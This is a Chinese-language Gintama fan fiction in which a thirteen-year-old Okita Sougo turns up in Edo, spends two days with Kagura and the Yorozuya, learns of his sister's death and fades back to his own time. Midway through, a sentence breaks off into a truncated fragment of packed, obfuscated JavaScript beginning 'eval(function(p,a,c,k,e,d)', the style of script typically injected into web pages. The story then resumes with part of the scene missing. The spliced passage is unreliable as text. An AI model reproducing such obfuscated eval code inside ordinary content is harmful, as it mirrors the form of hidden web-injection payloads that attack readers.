定春身边站着一个从未见过的少年。不对,准确来说应该是从记忆中找不到的脸。他的身高和神乐差不多,或者略矮一些,比脑海中浮现出的人物要年轻得多。银时脸色铁青,用颤抖的手指着少年。 “难、难、难、难道…是冲田君的…私生子吗!” “说这么恶心的话干什么,大叔” “小银不是大叔阿鲁!还差一点才变成大叔!” “痛!你这个怪力女是怎么回事!” 神乐一脸不满地用拳头打在少年的头上,银时的手在各种意义上不停地颤抖。 “诶……神乐……诶?快要变成大叔了……?” “小银!这家伙是抖s!” “…啊?” “听说是13岁的抖s。” “我说过多少次了我不是抖s,是冲田总悟。” 银时默默掏出手机,用超快的速度找到少年的监护人。 “喂,啊,多串君。那个,你家的少爷来这边了。” 接到电话的土方正在拉面店吃迟来的晚餐,银时的发言让他疑惑地皱起了眉头。 “少爷?你说总悟吗?” 说到一半,手机突然飘了起来。在土方身边吃着拉面的冲田轻巧地夺过手机。不理会抱怨的声音,直接开口。 “怎么了,老板。你要找我们副长的话,先通个气给钱再说。” “算了吧,你这家伙!快过来!你在这里呢!” 在嘈杂的喊叫声中,冲田把手机从耳边拿开,一边用手指着土方一边歪着头。 “万事屋的老板,终于变成那样了啊。” “所以说不是!算了!换你来!” “喂……” 少年的声音响起,冲田带着怪异的表情再次把手机放到耳边。 “你是谁啊?” “你才是谁啊?” “什么?告诉我你的名字,混蛋。” “恐吓?你一个大人?受不了!” “好了,快叫我名字,臭小子。” “总悟。” “啊?” “冲田总悟。” “那是我的名字吧,我在问你的名字。” “我不是说了吗!我叫冲田总悟!傻瓜!” 忍耐的极限到了,冲田再次拿开手机,淡淡地说。 “土方先生,我现在要去把这个小屁孩打倒,所以拜托你把账结了。” “啊?你在说什么!?结账后再走!” 对于没听到对话的土方,突然出现的危险言论让他摸不着头脑。电话那头传来一阵“咔嚓咔嚓”的声音后,又传来另一个声音。 “喂,抖s。” “…China?” “13岁的你在这里。别唠叨了,快点来阿鲁。不然我会把你弱小的一面都揭露出来。” “喂!你这家伙!” “嘟、嘟”传来电话挂断的声音,冲田叹了口气,合上手机扔给土方。 “去万事屋,听说13岁的我来了。” “…啊?” “哇哇!真的是总悟啊!好可爱!” “真的吗…” 两眼放光、面带笑容的近藤,和一脸厌烦的土方。 一进万事屋,他的表情就变了。 视线的前方是个子不高、还保留着一些少年高音的13岁的冲田。小小的冲田一看到近藤就从座位上站起来,笑着跑了过去。 “近藤先生!还是老样子,好帅啊!哼…土方也在吗?这发型是怎么回事?” “不会是假的吧?我可是个更像天使的少年啊。” “…不,这绝对是你。” 18岁的冲田从土方背后出现。 虽然身高和体格的差距明显,但清爽的亚麻色头发和锐利的绯色目光却是一模一样。13岁的冲田用不礼貌的眼光打量着5年后的自己,仿佛在评估自己的身价。 “哦哦,这就是18岁的我啊……嗯,还不错。你现在在做什么呢……疼!” “喂,小鬼,说话注意点。” 抓住柔软的脸颊,像年糕一样抻开。尽管力量无法与他抗衡,13岁的冲田仍然挣扎着蹬腿。土方看到他的样子,阻止了他。 “别闹了!他还是个孩子!” 土方说完后冲田松开了手,少年跑到神乐身边,紧紧贴在了她身上。神乐一脸为难,但并没有推开他,13岁的冲田则皱起了眉头,露出不高兴的表情。 “神乐!这家伙,欺负人!” “为什么叫神乐?这是China。” “什么嘛,China。好奇怪的绰号,一点创意都没有…疼疼疼!” 双手捏住脸颊,再次把它拉长。再怎么说也只是个生气的小孩,13岁的冲田虽然挥舞着手去打他胳膊,但毫无效果。 咚! 强烈的拳击声,两个冲田抱住头蜷缩在地。神乐勃然大怒,双手叉腰,威严地站着。 “够了!别闹了!蠢货们!” “为什么只有我被打两次?” “呵呵,活该。” “…还是砍死他吧。” 冲田把手放在刀上的瞬间,银时用力挥动双手,插进两人中间。 “停!停!你们俩冷静点,双沖田!!听我说!好像是去后山砍柴,回过神来发现自己倒在路边了。” 13岁。听到这句话的近藤思考了一下,突然转向土方。看到他的表情,土方的脸上也蒙上了阴影。 “难道!” “…那个时候。” “怎么回事?” 冲田问道,两人移开了视线。眼神交流后,近藤平静地开口。 “…我想起来了,13岁的时候,你曾经失踪过一次。” “…第一次听说。” 土方跟在近藤后面,一边叹气一边详细地说了起来。 “在一个月色明亮的晚上,你去了后山之后就再也没有回来,我们和你姐姐到处寻找都没有找到,但是两天后的晚上你突然躺在家里的床上,醒来的你什么都不记得了。但怎么可能……” “也就是说,去了山里的13岁的我在这里出现了,是这个意思吗?我不能相信这种鬼话。” 完全没有理会冲田的话,两人凝视着这个少年。 “但是……” “这小子太像你了。” 冲田也看着那个自称是自己的少年。说实话,对于他的确是5年前的自己,虽然没有确凿的证据,但他有种直觉。然而他不记得发生过这样的事情,而且实在无法相信这种不科学的说法。顺带一提,他也不喜欢这么黏在China身边。怎么可能是这么不可爱的孩子呢?叹了口气,他向少年走去。 “喂,小毛孩。你的右太阳穴有伤吗?” “啊?我不想回答你…疼!” 神乐眯起眼睛,轻轻扯了扯他的耳朵。 “好了,快回答吧,太麻烦了。” “有啊,你看。” 他掀起头发,露出了几厘米长的白色伤痕。冲田看了一眼,表情有些扭曲。 “…这是怎么弄的?” “…被附近的野狗追赶…摔倒了…” “噗噗,没想到你还挺可爱的阿鲁。” “烦死了!” “可惜了,这家伙看起来是真货…看吧。” 冲田掀起头发,完全相同的位置上有一道快要消失的伤疤,死心似的叹了口气。银时看着两人,挠了挠头。 “这么说,这边的迷你冲田也会在两天后回到原来的世界吗?” “迷你冲田是什么?太失礼了,大叔。” “大叔…喂!!你们是怎么教育这些小鬼的!!” 银时揪住土方的胸口,土方一边推开他,一边怒吼。 “不是我们的错!这家伙从小就是这样的!…怎么办?近藤大哥。” “唉,我也没找到什么办法。既然机会难得,就让他好好游览一下江户吧。对吧,总悟。” “好!近藤先生!” 近藤抚摸着小冲田的头,他的眼睛闪闪发光地开心地回答。冲田一如既往地顺从近藤,土方叹了口气,指了指玄关。 “那就带他去屯所吧。喂,总悟,你负责照顾他。” “我才不想和这种小鬼在一起呢。” 听了冲田的话,刚才还满脸笑容的表情一下子扭曲了。然后,一边瞪着冲田,一边用食指戳他的胸口。 “我可不愿意被像你这样的大叔照顾。” “什么?小鬼,对土方还好说,对我这么称呼大叔吗?” “对土方还好说是什么意思,喂!” “总之我可不愿意照顾你。好了,你就别唠叨了,到这里来吧。你就乖乖地去看教育电视吧。” 完全被当成小孩,在武州的近藤和土方也总是这样。如果不是偶然听到他们要去江户,也不会告诉他。不喜欢被这样对待,没想到5年后的自己也会受到这样的待遇。13岁的冲田抱着胳膊,把脸扭向一边,语气强硬地说道。 “我不去!” 银时慌忙跑了出来。一直开着的电视上,恋爱综艺节目迎来了告白的高潮。 “你在说什么!好了,快跟他们走!这是我的家!现在正播到好地方!” “我不喜欢土方,也不喜欢这家伙。” “什么喜欢不喜欢,那是5年后的你!” “我住这里。” “诶!!!!!” “这里有狗,还有神乐,我觉得这里更有意思。” 冲田少年若无其事地说,银时在胸前打了一个叉叉,拼命地摇头。 “你在说什么!不行!你的监护人在那边!我家已经有一个大胃王和一条大狗了!哪有闲工夫再多一个人住!” “钱的话,土方会付的。” 少年突然用大拇指指了指土方,把他吓了一跳。 “为什么是我!真是个厚脸皮,一点也不可爱啊!” 18岁的冲田把手放在刀上,转向土方。这里那里都莫名其妙,愤怒的土方强行拉起13岁冲田的手,向玄关走去。 “真麻烦!快走吧!” “不要!我不去!” 少年抱住定春的脖子,不肯离开。不知所措的定春呜呜呜地叫着,一直关注着事态发展的神乐终于开口了。 “好啊。” “诶!?” 男人们一起看着神乐。神乐一脸淡定,盯着银时继续说道。 “钱由十四来付,那就尽情吃好吃的吧。这家伙也不愿意,没办法。” “看吧!神乐也这么说了,没问题嘛!…哎!” “别直呼我的名字,你比我小。” 虽然被神乐进行了了教育性的拳击,但13岁的冲田痛得笑了出来。银时看向18岁的冲田,原以为神乐和这边的冲田会反对,没想到他一脸复杂地沉默着。 没办法,银时深深叹了口气。 “哎,好吧。钱就放心交给你了,钱包给我留在这里吧。” “可是……” 土方还想把他带回去,18岁的冲田一把抓住他的胳膊,向银时深深地鞠了一躬,这是平时他桀骜不驯的态度所无法想象的。 “不好意思,老板,拜托你了。” 13岁的冲田喜上眉梢,跑到玄关拿起红色的牵引带,给定春戴上项圈,开始牵着它走。 “太棒了!喂,狗!散步去!” “等一下!” 也不听制止就和喜欢散步的定春一起跑出去了。神乐犹豫着要不要追上去,瞥了一眼冲田的侧脸,停留在他的表情上。近藤和土方似乎也对冲田的意外行动感到困惑。 “总悟,怎么了?” “那家伙……嗯,也就是我,他不知道现在的我在做什么工作,也不知道姐姐怎么了。而且…在屯所的时候,他能听到很多事情,能留在这里对他来说也是一件好事,也许有些事情还是不知道为好。如果被问到姐姐的事情,你们就说不知道。为了保险起见,灵位和遗像都会隐藏起来。” 冲田的话让近藤和土方表情扭曲,痛苦地沉默不语。对于住在武州的这个一无所知的13岁乡下少年来说,沉重的真相太多了,冲田的考虑不无道理。银时对冲田微微一笑。 “我才不会说呢。” “给您添麻烦了,还请多多关照。” 冲田再次低下头,银时拍了拍“真不寻常啊,冲田君这么低下头…多一个小鬼又有什么关系呢,不用担心。” 一直沉默到现在的土方向银时扔出了什么东西,这笔钱用在家里也绰绰有余。银时故意装得惊讶,吹起口哨。 “哇,够大方的嘛——” “是麻烦费。总之是个不得了的小鬼,小心点。” “是吗?总悟…总悟很…可爱哦!” “近藤先生,你刚才的沉默是怎么回事?” “不、不,没什么特别的意思……万事屋,麻烦你了,还请多多关照,中国小姐也一样。” 近藤鞠了一躬,银时再次轻轻拍了拍他的肩膀。 “好吧,没问题。有委托的话,万事屋银酱什么都可以接。” 看到银时的笑容,冲田有些为难地笑了笑。神乐只是默默地站在稍远的地方,面不改色地听着。近藤、土方和冲田离开万事屋后,神乐小声开口。 “喂,小银。” “怎么了?” 想说的话又咽了回去,轻轻摇了摇头。 “…没什么。” 与此同时,回家的路上,近藤和土方互相投来目光,土方向冲田发问。 “喂,总悟。为什么要把那个小鬼留在万事屋…还有别的理由吗?” 冲田只是保持沉默,微微低着头,继续走着。 冲田少年起得很早。 在武州,他一大早就起来拾柴,帮姐姐干活。间歇进行练习,之后吃早餐。 按照往常的生理时钟起床,睡在旁边的那个叫阿银的人没有起床的迹象。壁橱里的神乐好像还在睡觉。但是,有一种轻轻靠近的感觉。 “嗨,早上好。我们散步去吧。” 冲田摸了摸它的鼻子,定春呜呜地叫了起来。 一人一狗散步回来后,银时和神乐已经起床,新八正在做早饭,看到他大吃一惊。 “啊,这还是小时候的冲田。” 听到这话,新八奇怪地接受了。 大家一起吃早饭时,银时开口道。 “神乐,今天的委托只有我和新八去就行了,你去照顾那边的冲田吧。” “啊!?但是今天我和阿大他们约好打棒球了!” “带他去不就行了吗?你现在这个年纪,混在一起也没关系。本来你就说过要把他留在家里,捡到的东西要照顾到最后。” 听了银时的话,神乐有些不服气地歪着嘴,看着身旁喝着味噌汤的冲田。 “喂,抖s,你会打棒球吗?” “什么?我没试过。” “你没试过吗?你也有不会的东西啊——” “烦死了。” “刚才的说法和抖s一模一样。” “什么啊,抖s…叫我总悟吧。” “不,是抖s吧?还有吉娃娃。” “你到底是怎么回事?” 想被叫总悟的13岁的冲田,同时对待18岁冲田的神乐。身高差不多,年龄也差不多。在旁人看来,就像是一对般配的少男少女在互相争执。 银时一边挠着脸颊,一边对新八低语,不让还在争吵的两人听见。 “什么?这位冲田也喜欢神乐吗?” “…是啊。虽然13岁的冲田比较坦率,可是两个都很好理解。” * * * “哟,神乐!” 一如往常的河堤,向跑过来的神乐招手的美祢子擦着眼睛凝视着另一个人。 “久等了!今天一定要赢!” “喂,神乐,这家伙是谁啊?是不是很像真选组的那个警察?” “诶!?啊…” 说是相似,其实是同一个人。神乐的视线在空中飘移,说起来还没有考虑过这个问题。旁边的冲田观察着神乐变幻莫测的表情。 “嗯,是那个笨蛋吉娃娃的亲戚,名字叫总…一郎?总一郎对吧!” “啊?” 听了这么痛苦的解释,冲田皱起了眉头,不过还是点了点头。 “哦,那你也一起来吗?” “我……” 还没等他说完,神乐就抓住了冲田的手臂。今天的人数不多,而且对手是邻村的。即使是这样的家伙也想要一个战斗力。被紧紧握着的手臂受到了很大的力量,疼得几乎要断了。身旁的神乐露出威胁般的笑容。 “要加入吗?” “…嗯。” 河堤上,少年们正在打棒球。 其中一位少年和一个少女尤为显眼。一个穿着鲜红色中式服装,一个穿着淡灰色的和服和浅蓝色的袴子。投掷、击球、大声地享受着棒球。在河堤上,土方微微一笑,吐出一口烟。 “没想到你会露出那种表情,我还是第一次看到你和同龄人混在一起。” “是啊,我也是第一次看。那时候还没打过棒球。” 冲田一脸平静地看着,土方看到他的样子,突然意识到。 “你把那小鬼交给万事屋是…” “啊!” “嗯?” 冲田的声音把土方的视线拉回到棒球上,13岁的冲田和神乐正在击掌,开心地笑着。然后紧挨着回到长椅上。瞥了一眼身旁的冲田,他的表情变得非常不高兴。然后,开始跑下河堤。 “我去一下!” “喂!这是工作时间啊!…真是的!” 虽然喊着,冲田的脚步却没有停下。 原本以为还是个小鬼的弟弟,和13岁的少年相比,个子更高,肩膀更宽,完全变成了一个可靠的青年。虽然才13岁,但对自己还是有些嫉妒的小孩。土方察觉到冲田把少年的自己托付给万事屋的用意,没有追究,而是回去执勤了。 棒球比赛终于进入了最后一轮。2人出局。神乐他们的队伍以一分之差获胜。 “好!今天一定能赢!…你们在做什么啊?笨蛋吉娃娃!” 突然出现在打击区的是18岁的冲田。然后,投手踏板上是今天攻守都非常活跃的13岁的冲田。扮演捕手角色的阿大也不由得抬起头。 “啊,真选组的哥哥。” “喂,换我。” “诶!?” “住手!笨蛋!” 他似乎没有听到防守外野的神乐的怒吼,伸手拿起球棒指着投手踏板。投手冲田微微一笑。 “咱们一决胜负吧!” “真可怕!” 最后全力的一投,速度快得根本不像是今天第一次打棒球。但是在冲田的全力挥棒下,球发出巨大的声响,又高又快地飞了出去。 “好厉害……” “逆转全垒打!太棒了!” 冲田对着走过来的神乐得意地笑了。 “怎么样,China。全垒打……痛!” “笨蛋!你在敌队打出全垒打!好不容易赢了,结果却输了阿鲁!!” 冲田遭到神乐的拳打脚踢,13岁的冲田露出扭曲的笑容,仿佛在说“活该”。 “哼,真是个笨蛋。” “…你这个臭小子。” “喂,抖s!你要负责任!” “…哈?” * * * “哇,好久没来咖啡店了!” “为什么我非得请你们吃饭不可啊?” “你觉得是谁的错导致我们输的?” 以逆转全垒打为球队的败北做出贡献的冲田,被神乐拉着不情愿地来到了咖啡店。一路上也被嘟囔着责骂,13岁的冲田在一旁笑嘻嘻地旁观着。心情糟透了,还得带着大胃王和青春期的小鬼一起去咖啡店。 由女招待引导,三人坐在了四人桌上。神乐迫不及待地坐在靠窗的座位上,两个人同时伸出手去拽旁边的椅子。冲田和冲田,互相瞪视着,为了一把椅子而拔河。神乐却完全不在意,一边翻着菜单,一边若无其事地问吃什么好。 “我要这个位置。” “说什么呢,你去那边坐。” “不要,我要坐在神乐旁边。” “上次我也说过了,这家伙叫China,你的称呼真奇怪。” “你的称呼才奇怪吧?难道是因为不好意思叫名字?” “…还是把你埋葬在黑暗中比较好。” 冲田的手抚上刀的瞬间。 咚!咚! 接受了神乐的拳打脚踢,两个冲田老实了下来,按照她的吩咐坐了下来。 “好!这样就行了!” 神乐的对面并排坐着13岁和18岁的冲田,两人都露出无法接受的不满表情。 “为什么会这样?” “那是我的台词。” “好了!来一份超大份套餐!” 神乐毫不犹豫地合上菜单,大到相扑选手都吃不完的超大份套餐,价格也贵得离谱。冲田有些无奈地看着神乐。 “你要记住客气点。” “我……呃……” 13岁的冲田看着菜单,似乎有些不知所措。18岁的冲田见状,举起手叫服务员。 “打扰了。” “干什么!还没决定呢!” “已经决定了。” “来碗拉面,再来份超大份套餐午餐套餐。还有,大号儿童套餐和奶油苏打水。” 迅速地点了餐后,女招待走进厨房。无法接受的13岁冲田瞪着旁边的男人。 “不要随便决定!点个儿童套餐多丢人啊!” “儿童就点儿童套餐,这是公认的吧。” “你们稍微安静点,别闹了。” 两个冲田在争吵着,对此神乐只能无奈地看着。但是,神乐注意到了一件事。在点餐前,冲田眼中闪过了一丝悲伤。 过了一会儿,点的东西摆满了桌子。13岁的冲田面前是儿童套餐和奶油苏打。不知是不是心理作用,他的眼睛闪闪发光。神乐轻轻地把叉子伸向儿童套餐的炸虾。 “哇,真不错!我只吃一点点阿鲁!” “别碰别人的食物。” “什么啊!” 神乐被拍了一下手,阻止了对虾肉的抢夺,她向前俯身,怒视着沖田。13岁的冲田战战兢兢地尝了一口汉堡,咬了一口之后,眼睛里的光芒更添一层,嘴角也绽开了。 “…怎么样?” “姐姐也吃过吗?” “…啊,一起来过几次。她说在芭菲上撒上辣酱很好吃。” “是吗?那就好。” 冲田开心地看着默默吃着美味的少年,神乐看着他的表情,胸口隐隐作痛。 吃完饭离开咖啡店,外面已经一片漆黑。回去的路上走了几分钟,神乐突然发现忘记带东西,便回头去取。两个冲田在附近建筑物的角落里等着神乐,13岁的冲田突然开口了。 “你喜欢神乐吗?” “怎么可能,那种丑女。” “嗯,我很喜欢。18岁的我竟然这么软弱,真让人失望。” “滚开。” 他像瞧不起人似的摊开双手,歪着头。虽然是自己,但还是很生气。冲田稍稍抬起刀柄,用锐利的目光瞪着旁边的少年。慢慢地,神乐小跑着走了过来。13岁的冲田自言自语道。 “…一起去武州吧,那家伙。” 不由自主地看向旁边的少年。有些依赖别人、不稳定的13岁的自己。视线重新转向前方,渐渐地神乐的笑容出现在视野中。 “怎么可能去啊。” “来江户的话,还能见到那家伙吗?” “…谁知道呢。” 无忧无虑地享受儿童套餐的少年,来江户对他来说是一件幸福的事情吗?像自己,又不是自己。他只是个乡下长大的自以为是的小鬼。这家伙会回溯至今为止体验过的一切吗? 神乐终于回来了,笑着走近两人。 “我把从阿四那里借来的球给忘了!” “…不好意思,差不多该回去执勤了,土方会唠叨的。你们回去的时候小心点。” “…是吗?” “再见。” 18岁的冲田突然离开,神乐用带着悲伤的表情看着他的背影,13岁的冲田默默地看着身旁的一切。 两人并排走在回家的路上,月亮即将圆满。夜晚和昨晚一样,似乎月亮也会降落下来。 13岁的冲田抬头看着天空。 “江户的月亮也挺大的啊。” “是啊。” “武州也是,大大的月亮爬上山的样子,很美……总有一天,我会带你去的。” “嗯,如果有好吃的,我就去。” “姐姐做的菜是绝品!到时候做给你尝尝!” 在月光的照耀下,神乐的侧脸显得更加鲜艳。冲田瞥了一眼,下定决心开口。 “那个……月亮真漂亮啊。” “嗯?啊,是啊。我想吃月见荞麦面。” “…!不是这个意思!月亮真美!” “不用大声也能听到。” 然后,冲田突然转向神乐,生气地质问她。 “你不知道是什么意思吗!?” “啊!?别小看年纪大的人!月亮很美吧?那是因为马上就要满月了!” 以大人的姿态手扶腰,仿佛在说“懂了吗”。神乐的态度让13岁冲田的愤怒达到了顶点。 “真是的!不是这样的!听好了,伟大作家的弟子把异国语言翻译成日语的时候,把‘I LOVE YOU’翻译成‘我喜欢你’,日本人不会轻易地说‘喜欢你’,而是说‘月亮真美’……所以,你懂吗?” 13岁的冲田有些局促,眼神游移不定地看着神乐,后者则悠闲地看着月亮,歪着头。 “嗯……然后呢?你的耳朵通红,发烧了吧?” “够了!你真是个大笨蛋!” “谁是笨蛋!你才是笨蛋!” “笨蛋!傻瓜!” “说别人是笨蛋的人才是真正的笨蛋!” 结果两人一直吵到万事屋,被等待的银时和定春劝解。就这样,冲田的第一次告白落下了帷幕。 第二天下午,万事屋三人受到了委托。 是附近老主顾的屋顶修理,因为短时间内就能结束,所以神乐也决定一起去。在玄关前,13岁的冲田和定春负责送行。神乐摸了摸他的头,看着冲田。 “我马上就回来,你老实点。定春,拜托你照看他。” “为什么我要靠狗照顾?” “你的说法真的和抖s一模一样。” 神乐忍不住笑了起来,冲田低下头,表情扭曲,拳头握得很紧。 “…闭嘴。” “什么?” “不要和18岁的我比较。” 一脸受伤的表情,让她一时语塞,银时来找还没出门的神乐。 “走吧,神乐。” “…嗯。” 神乐离开后,定春舔了舔冲田的脸颊,仿佛在安慰他。冲田的表情缓和下来,摸了摸定春的鼻头。 “去散步吧,定春。” “汪!” 冲田和定春走到街上,因为好奇到处逛。江户和武州相比,一切都不一样。很难想象自己会离开姐姐在这里生活,但乡村特有的被各处监视的窒息感以及未来被规划好的逼仄感都没有了。走在大街上,陌生的黑衣男人们惊讶地盯着13岁的冲田。那件衣服,18岁的我也穿过。冲田目不转睛地看着他们,男人们走近了。 “哦,冲田队长!?” “不……认错人了吧,不过还真是一模一样啊。” “你是冲田队长的亲戚吗?” 被连珠炮般的问题吓得不由低下了头,定春担心地靠在冲田身边。 “…不是。” “是吗?我还以为你是兄弟呢,对不起。” “队长只有一个姐姐,那个姐姐也是去年……” “啊……是啊。” 男人们的话让他的心脏收缩,指尖发冷,瞬间全身的血都沉寂了下来,心脏不停地发出讨厌的声音。 怎么会?怎么可能? 空洞的脑袋里,冲田问道。 “…不好意思。那件事的详情,能告诉我吗?” * * * “汪!汪!汪!汪!” 修理屋顶时,楼下传来熟悉的叫声。神乐走到屋顶边缘时,定春正在拼命叫唤。奇怪的样子和没跟在它身边的冲田,神乐立刻跳下来跑了过去。 “怎么了?抖s呢!?” “汪!汪!” 定春急急忙忙地扯着神乐的衣服,神乐立刻意识到发生了什么。 “定春,拜托了,带我去!” 她跳上定春的后背,飞快地跑了出去。 * * * 在最后的黄昏红光的照耀下,冲田从倒在路边的攘夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那你能做什么!没有学识,没有身份,没有钱!只有剑,你能做什么!” “姐姐为什么会死!!” 冲田吸了一口气,停了下来。13岁的冲田的眼睛里闪着憎恨和悲伤。好像是为了表达无处发泄的不合理,他不得不大声叫喊。 “做到这种地步…都是为了姐姐吧!为什么!” 13岁冲田的对面出现了一个打着伞的人影,那是神乐,冲田瞬间低下了头,13岁的冲田趁机朝相反的方向跑去。神乐一瞬间反应过来,走近18岁的冲田,用力抓住他的手臂。 “去吧。” 冲田低着头,没有反应。神乐皱起眉头,抓住他的另一只胳膊摇晃着。 “那是你啊!快点!抖s!” 感到背后有一股暖意,土方温柔地推了他一把。 “…去吧。” 看到冲田微微抬起头,神乐拉起他的手,和定春一起跑了起来。 终于找到了13岁的冲田,他正坐在第一次与神乐相遇的河堤上。一轮明月悬在空中,月光比平时更明亮。他抱着膝盖,看不见表情。 神乐抬头看冲田的脸,还没来得及看清表情他就转身离开了。 “喂!” “你去找那个小鬼。” 他低声说着,快步沿着来时的路往回走。渐渐远去的背影和河堤上小小的背影,神乐看了两眼,双手夹住定春的脸,严肃地说。 “定春,那边的抖s,拜托你了。可以吗?” “汪!” 吠了一声后,它一口气跑下河堤。神乐确认了它的身影后,迅速追上另一边的背影。 * * * 身旁有温暖的气息,看了看旁边,目光温柔的定春正坐在那里。 “汪!” 吠了一声后,它摇了摇尾巴,侧躺下来,仿佛在说你可以在这里呆着。把脸埋进柔软温暖的肚子里,安心地呜咽出带有哽咽的声音。 “…姐姐。” * * * 神乐一直跟在冲田身后几步。 无论是加快速度,还是故意停下脚步,都保持着恰到好处的距离。他不禁转身看了一眼。 “……别跟着了,不是让你去那边吗?” 神乐一言不发,只是一动不动地站着。冲田叹了口气,继续往前走,她顺从地跟了上来。这次他没有回头,故意说出了刺耳的话。 “碍眼…差不多可以走开了吧。” “…讨厌,我哪儿也不去。” 小声的声音让他焦躁起来,猛地回过头抓住了她的胸口。平时总是瞬间做出反应的神乐,只是毫无抵抗地任凭他摆布。 “我叫你滚!去那边!” “我不要!…为什么要听你的话!我是因为…喜欢才在这里。” 冲田看着她那坚强却又带着几分柔和的蓝色眼睛,松开了手,表情瞬间扭曲了一下。 “…像狗一样。” 他低声喃喃地说。在明亮的月光和宁静的夜晚里,只有冲田的声音在空中回响。 “以前家附近有只白色的狗,我去练习的时候,它经常到我家来。我也想过要不要养它,可哪有那闲工夫。几个月后,它倒在路边死了。” 神乐睁大了眼睛。13岁的冲田说过,他也想要有只狗在这里。一有时间他就会摸摸定春,跟它玩耍。 “我也没和同龄的小鬼玩过。对于乡下来的人要想参加仕官,学问和剑术两者缺一不可,如果不突出其中一个很难。我一直挥舞着剑,常常泡在近藤大哥的道场。” 那天的棒球,虽然一开始有些困惑,但他很高兴,笑得那么开心。现在的他已经无法回想起了。 “邻居们上街吃的儿童套餐和奶油苏打水,我都没见过。” 那天,擅自购买的是… 为什么冲田要把13岁的冲田交给万事屋呢?想隐藏现在的自己,除此之外还有一个理由。 神乐面无表情地低着头手指颤抖着,视野变得模糊。紧紧握着的手掌,几乎要留下指甲印。 “…已经够了。” “姐姐总是用同样的东西,直到磨破为止,很辛苦。我也想给她买簪子和和服什么的。” “…别说了。” 他低声嘟囔,然后深吸一口气,仰望着天空。稍微有些自嘲地笑了笑,转头望向月亮,看不见他的表情。 “对他来说,我是杀人犯,是害死姐姐的大罪人。” “已经够了…我说已经够了!!!” 神乐猛地给了冲田一拳。对于这突如其来的举动,冲田没有防备地被打飞,撞在附近建筑的墙上,他勉强靠着墙体坐起身来。 “你在干什么!” 神乐立刻走过来,抓住冲田的领子,举起拳头。就在他认为要被打时,却感受到脸颊和脖子上的温暖触感。他转动脸,看到了特殊的发饰。过了几秒钟,才意识到神乐正在抱着他。细细的、温暖的臂膀围绕着他,脸颊有柔软的触感。冲田吃惊地瞪大了眼睛,小声叫了一声。 “喂…” “没有错!” 神乐叫道,带着悲痛和哭泣的声音,冲田不由得屏住了呼吸。 “你没有错!绝对……绝对……” 声音逐渐减弱,而脸上开始滴下像雨一样的水滴。温暖的雨水倾盆而下,一滴滴浸湿了队服和皮肤。她的呼吸响亮地颤动着,背影像猫一样晃动。被温暖的体温侵蚀,冲田不由得扑哧一笑。 “…别流口水啊。” “吵死了,是鼻涕。” “更糟了。” 感受着越来越贴近的柔软脸颊,他想起了刚才看到的那个又小又圆的背影。他瞥了一眼珊瑚色的头发和发饰,那家伙一定也是。冲田的表情阴沉下来,低声说。 “喂,我不用了,和那个我待在一起吧。” “我不要。” “喂!” 神乐摇了摇头,每摇一次,发饰串就啪的一声打疼他的脸。之后更紧地抱住了他的脖子,就像承诺绝对不会去一样。 “有孽缘的,是这边的你。” “…那是什么意思?” 怀着既高兴又抱歉的复杂心情看着月亮,那家伙现在是怎样看待比刚才更明亮的月亮的呢?两人沉默了一会儿,什么话都没说,神乐开了口。 “…你不开心吗?” 对于出乎意料的问题,他瞪大了眼睛,看不到神乐的表情。 “大老远来到江户,难道净是不愉快的事吗?净是后悔的事吗?” “…没有。” 冲田微微一笑,轻轻摇了摇头。神乐注意到他细微的动作,又开始组织语言。 “那就告诉他吧,对他说我不后悔,对他说我被一群咕嘟咕嘟的、年纪大的、奇怪的家伙包围着…很开心。” “…是啊。” 13岁的时候。我一直被当成小孩子对待,很不满。明明知道,却不知不觉忘记了,所谓过去就是这样。把手缓缓地搭在她小巧温暖的后背上,她的手微微动了一下,但没有甩开。 “要是让你哭了,那家伙会生气的。” “我不是说过没有哭吗!” “好好好,算了吧…走吧。” “…嗯。” 两人不约而同地分开身体,不看对方的脸,慢慢地站了起来。冲田慢慢地朝河岸走去,神乐像刚才一样跟在他后面。但中途他突然停下脚步,背对着神乐,伸出手掌。神乐看了看他伸出来的手和月光般的后脑勺,小跑着靠近,拉起了他的手。 牵着手,快步回到河滩,在那里,有一个巨大的白色影子和被围住的小小身影。呜呜,伴随着悲伤的哭声,细小的光芒围绕着周围,13岁的冲田逐渐变得透明起来。他们目光相对,然后冲向他,定春察觉到他们的到来,站了起来。 “看来,是回去的时间了。” 冲田面不改色地淡淡地说。 “你拜托近藤和土方,强行一起去了江户,姐姐一个人留在武州。为了成为武士杀了无数人,但是,我没有后悔。只有这条路,是我自己选择的路。因为来到了这里,我得到了一些东西。比现在的你所想的更重要的东西在不断地增加。真不好意思,这就是18岁的我。” “是吗……” 两个冲田面对面笑了,13岁的冲田露出爽朗的笑容,仰望着天空。 “不知道你还记不记得,武州这么小,我想看看更广阔的世界。我只有剑,但有剑就足够了。” 看到两人的样子,神乐松了一口气,13岁的冲田走了过来。露出熟悉的坏心眼的笑容。 “神乐。” 刚要开口,但话被打断了。以令人难以置信的速度,一只红色的眼睛出现在眼前。神乐惊讶地眨了眨眼睛,不过几秒钟后感觉到脸颊上的柔软触感。她眨了几下眼睛,隔着脑袋看到18岁的冲田一脸惊讶,猛地反应过来把他推开,13岁的冲田被推飞了,神乐高速地擦着脸颊。 “…你、你、你、你怎么回事,你这个混蛋!!” “在遇到我之前,你可别被别的家伙耍了,下次我会说的。” “啥!?真是个奇怪的家伙!!” 发自内心愉快地笑了笑,然后用充满挑战的眼神看着18岁的冲田。 “喂,你一定要抓住,直到我长大。” “…你在对谁说啊。我要杀了你,臭小子。” 在几近消失的月光下,他露出了与年龄相符的温柔笑容。 “再见,China。” 光粒像被月亮吸进去一样消失,定春寂寞地哼了一声,两人抬头望着最后一颗消失的光粒。 “回去了啊。” “…啊。” “我不讨厌他,小小的你。” 他不经意地看了神乐一眼,发现神乐正拉起衣袖,用力擦着眼角。 “…啊。” 把队服的袖子抻开,贴在脸上擦拭。 “…住手,臭死了。” * * * 我好像做了一个很长的梦。听见有人在叫我,慢慢睁开眼睛,熟悉的天花板和房间的气味。蓦然转向声音的方向,看到了眼中噙满泪水的姐姐和近藤,以及一脸担心地扭曲着脸的土方。 “…小总!” “总悟!你去哪了?” “你没事就好……为什么会在这里……” “姐姐?……近藤大哥……?土方……?” “太好了!太好了!” 被抱着,深深地吸了口气。让人安心的体温,不知在哪里,在梦中,感觉到了同样的温度。虽然一睁开眼睛,重要的东西就散落一地,什么都不记得了。 